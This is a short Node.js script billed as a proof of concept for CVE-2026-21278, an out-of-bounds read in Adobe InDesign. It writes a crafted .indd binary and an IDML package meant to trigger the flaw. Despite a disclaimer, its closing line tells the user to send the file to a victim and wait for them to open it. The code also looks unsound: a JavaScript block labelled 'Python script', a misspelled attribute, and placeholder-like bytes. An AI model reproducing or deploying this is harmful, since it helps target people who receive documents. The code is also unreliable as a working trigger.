// CVE-2026-21278 PoC - Malicious InDesign Document Trigger
// This PoC demonstrates the OOB read vulnerability in Adobe InDesign Desktop
// DISCLAIMER: For educational and security research purposes only
// Method 1: Generate malicious .indd file with crafted binary data
const fs = require('fs');
function createMaliciousIndd() {
// InDesign document header with malformed structure
const header = Buffer.from([
0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06,
0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06
]);
// Crafted data that triggers OOB read in document parser
const triggerData = Buffer.alloc(1024);
triggerData.writeUInt32LE(0x41414141, 0); // Abnormal marker
triggerData.writeUInt32LE(0xFFFFFFFF, 4); // Overflow value
triggerData.writeUInt32LE(0x42424242, 8); // Padding trigger
// Malformed object descriptor
const objDesc = Buffer.from([
0x00, 0x00, 0x00, 0x00, // Size field
0xFF, 0xFF, 0xFF, 0xFF, // Boundary bypass
0x00, 0x00, 0x00, 0x01 // Type indicator
]);
const maliciousFile = Buffer.concat([header, triggerData, objDesc]);
fs.writeFileSync('CVE-2026-21278_malicious.indd', maliciousFile);
console.log('[+] Malicious InDesign file created: CVE-2026-21278_malicious.indd');
}
// Method 2: Python script to create malformed IDML package
function createMaliciousIdml() {
const idmlContent = `<?xml version="1.0" encoding="UTF-8"?>
<idPkg:Document xmlns:idPkg="http://ns.adobe.com/AdobeInDesign/idml/1.0/">
<Document>
<Story>
<ParagraphStyleRange>
<CharacterStyleRange>
<Content>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</Content>
<Properties>
<PointSize olyAttribute="malformed"/>
</Properties>
</CharacterStyleRange>
</ParagraphStyleRange>
</Story>
</Document>
</idPkg:Document>`;
fs.writeFileSync('CVE-2026-21278_malicious.idml', idmlContent);
console.log('[+] Malicious IDML file created: CVE-2026-21278_malicious.idml');
}
createMaliciousIndd();
createMaliciousIdml();
console.log('[+] PoC files generated successfully');
console.log('[!] Usage: Send the malicious .indd file to victim and wait for them to open it');